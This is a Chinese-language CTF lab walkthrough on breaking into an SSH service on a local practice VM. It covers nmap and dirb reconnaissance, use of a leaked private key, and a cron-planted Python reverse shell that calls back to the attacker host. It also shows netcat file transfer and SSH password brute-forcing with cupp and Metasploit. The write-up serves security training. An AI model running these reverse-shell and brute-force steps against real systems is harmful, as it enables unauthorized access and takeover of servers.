CTF靶场训练-SSH服务渗透

Background

SSH 为 Secure Shell 的缩写,由 IETF 的网络小组(Network Working Group)所制定;SSH 为建立在应用层基础上的安全协议。SSH 是目前较可靠,专为远程登录会话和其他网络服务提供安全性的协议。利用 SSH 协议可以有效防止远程管理过程中的信息泄露问题。

SSH是一般是基于TCP 22号端口的服务

SSH协议认证机制

  • 基于口令的安全验证
      只要你知道自己帐号和口令,就可以登录到远程主机。所有传输的数据都会被加密,但是不能保证你正在连接的服务器就是你想连接的服务器。可能会有别的服务器在冒充真正的服务器,也就是受到“中间人”这种方式的攻击。

  • 基于密匙的安全验证
      需要依靠密匙,也就是你必须为自己创建一对密匙,并把公用密匙放在需要访问的服务器上。如果你要连接到SSH服务器上,客户端软件就会向服务器发出请求,请求用你的密匙进行安全验证。服务器收到请求之后,先在该服务器上你的主目录下寻找你的公用密匙,然后把它和你发送过来的公用密匙进行比较。如果两个密匙一致,服务器就用公用密匙加密“质询”(challenge)并把它发送给客户端软件。客户端软件收到“质询”之后就可以用你的私人密匙解密再把它发送给服务器。

    用这种方式,你必须知道自己密匙的口令。但是,与第一种级别相比,第二种级别不需要在网络上传送口令。

    一般id_rsa为私钥,id_rsa.pub为公钥;

认证机制弱点

  • 基于口令的安全验证
      基于字典的暴力破解,破解对应用户名和密码,通过SSH客户端连接到远程主机的SSH服务,实现对服务器的控制。(不一定是root权限)

  • 基于密匙的安全验证
      通过对主机的信息收集获取到泄露的用户名和对应的密钥。

    chmod 600 id_rsa
    ssh -i id_rsa 用户名@主机地址 登陆服务器。(不一定是root权限)

实验环境

攻击机:Kali - 192.168.0.105
靶场机器: linux - 192.168.0.107

目的: 获取靶机root权限

信息探测

对于给定IP地址的靶场机器,对其进行渗透测试,首先需要考虑靶场机器开放的服务。

  • 探测靶场开放的服务与服务的版本
    – nmap -sV 靶场IP地址

  • 探测靶场的全部信息
    – nmap -A -v 靶场IP地址

  • 探测靶场的操作系统类型与版本
    – nmap -O 靶场IP地址

image

发现目标靶机开放了http、ssh服务
对于ssh服务的22端口,首先考虑

  • 1.暴力破解
  • 2.私钥泄露(私钥有没有对应的密码、是否可以找到私钥的用户名)

对于http服务的80端口或其他端口

  • 通过浏览器访问对应的http服务,如http://ip:port
  • 使用工具对目录进行探测,如dirb http://ip:port/
    注意特殊的端口(大于1024)

挖掘敏感信息

  • 使用浏览器对靶场IP的http服务进行探测,对于页面展示的内容也要注意,尤其是联系人等信息(可能就是用户名),递归访问,争取遍历到每一个目录
  • 尤其对robots.txt、以及一些目录的访问,挖掘具备利用价值的信息,对于开放ssh服务的靶机,要注意是否泄露了私钥(id_rsa)

image
发现了一些联系人的信息(Martin、Hadi、Jimmy)

对目录进行探测
image
发现了很多文件,通过网页进行访问
image
image
发现了私钥信息

对于某些靶场,也可以通过nikto扫描器来挖掘敏感信息
– nikto -host 靶场IP

特别注意config等特殊敏感文件
image

利用敏感、弱点信息

对挖掘到的ssh密钥利用

  1. 修改id_rsa的权限

    chmod 600 id_rsa

  2. 利用私钥登陆服务器

    ssh -i id_rsa 用户名@靶场IP地址

注意:如果id_rsa没有解密密码,可以直接使用。但是如果id_rsa有解密密码那么需要进行对应的破解

可以用wget将文件下载下来

1
root@kali:~/test# wget http://192.168.0.107/icons/VDSoyuAXiO.txt

image

修改文件名并赋予相应权限
image

连接到靶机服务器(这里尝试使用联系人作为用户名)

1
root@kali:~/test# ssh -i id_rsa martin@192.168.0.107

image
image

扩大战果
登陆服务器之后,我们可以做以下操作

  1. 查看当前用户 whoami
  2. id 查看当前用户权限
  3. 查看 根目录 寻找flag文件

如果是root权限,那么表明这个靶场就被全部拿下。但是如果不是,就肯定需要提权。一般情况,flag文件只属于root用户和对应的用户组

1
2
3
4
cat /etc/passwd 查看所有用户的列表
cat /etc/group 查看用户组
find / -user 用户名 查看属于某些用户的文件
/tmp 查看缓冲文件目录

我们可以通过以上命令,尝试获取一些有用的信息

深入挖掘

通过/etc/crontab文件,设定系统定期执行的任务,编辑,需要root权限。不同的用户都可以有不同的定时任务

cat /etc/crontab 挖掘其他用户是否有定时任务,并查看对应的任务内容。执行的任务肯定对应靶场机器的某个文件。

如果在/etc/crontab下有某个用户的定时计划文件,但是具体目录下没有这个定时的执行文件,可以自行创建反弹shell,然后netcat执行监听获取对应用户的权限。

如果有定时执行的文件,可以切换到对应的目录,查看对应的权限,查看当前用户是否具有读写权限。

参考博客

  • Linux定时任务Crontab命令详解
  • /etc/crontab文件和crontab -e命令区别
    image
    查看定时执行文件,发现jimmy用户每5分钟会执行一次python脚本
    但是在tmp目录下除一些隐藏文件外,并没有任何脚本
    1
    2
    3
    4
    5
    6
    7
    8
    9
    martin@debian:/tmp$ ls -al
    total 28
    drwxrwxrwt 7 root root 4096 août 16 13:05 .
    drwxr-xr-x 21 root root 4096 avril 26 2017 ..
    drwxrwxrwt 2 root root 4096 août 16 12:09 .font-unix
    drwxrwxrwt 2 root root 4096 août 16 12:09 .ICE-unix
    drwxrwxrwt 2 root root 4096 août 16 12:09 .Test-unix
    drwxrwxrwt 2 root root 4096 août 16 12:09 .X11-unix
    drwxrwxrwt 2 root root 4096 août 16 12:09 .XIM-unix

所以我们可以自行编写,再让它执行

反弹shell

靶场代码

1
2
3
4
5
6
7
8
9
#!/usr/bin/python
import os,subprocess,socket

s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("192.168.0.105",4444))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p = subprocess.call(["/bin/sh","-i"])

攻击机netcat命令
– nc -lvp 为占用端口

1
查看占用端口  netstat -pantu

可以通过netcat将脚本发到靶机 netcat传输文件用法

先在本地启动发送命令
(直接发送给靶机会被防火墙,所以在本地开放端口,让靶机主动连接即可)

1
root@kali:~/test# nc -l 4445 <1.py    //从本地打开4445端口发送文件,等待连接

靶机连接,下载文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
martin@debian:/tmp$ nc 192.168.0.105 4445 >1.py  //连接kali,下载文件
martin@debian:/tmp$
martin@debian:/tmp$ ls
1.py
martin@debian:/tmp$ cat 1.py
#!/usr/bin/python
import os,subprocess,socket

s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("192.168.0.105",4444))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p = subprocess.call(["/bin/sh","-i"])

martin@debian:/tmp$

然后kali监听4444端口
image
将1.py重命名为sekurity.py,并添加可执行权限
image
等待一段时间~ image
发现jimmy连接了我们的shell,但是很可惜jimmy也不是root权限,所以只能从最后一个用户Hadi入手

暴力破解

万不得已的时候 只能对ssh服务进行暴力破解。破解最后一个用户名。破解工具如hydra、medusa等。

这里我们用cupp生成字典,再使用metasploit破解ssh

cupp是生成的是社工字典,跟据输入的信息生成密码,(回车跳过输入)

1
root@kali:~/test# cupp3 -i     //-i 交互模式

image

打开msf渗透测试框架

1
root@kali:~/test# msfconsole

image

这里要用到ssh_login模块,可以用search搜索

1
msf5 > search ssh_login

image
use使用模块

1
msf5 > use auxiliary/scanner/ssh/ssh_login

image
显示配置项 show options

1
msf5 auxiliary(scanner/ssh/ssh_login) > show option

image
配置相关选项

1
2
3
4
5
6
7
8
9
10
msf5 auxiliary(scanner/ssh/ssh_login) > set RHOSTS 192.168.0.107
RHOSTS => 192.168.0.107
msf5 auxiliary(scanner/ssh/ssh_login) > set USERNAME hadi
USERNAME => hadi
msf5 auxiliary(scanner/ssh/ssh_login) > set PASS_FILE hadi.txt
PASS_FILE => hadi.txt
msf5 auxiliary(scanner/ssh/ssh_login) > set THREADS 10
THREADS => 10
msf5 auxiliary(scanner/ssh/ssh_login) > show options
msf5 auxiliary(scanner/ssh/ssh_login) > run

破解出密码
image

根据提示,打开session会话
image

打开的session会话,交互模式不是很好
利用python进行优化

1
python -c "import pty;pty.spawn('/bin/bash')"

image

提升权限,查看flag
image
image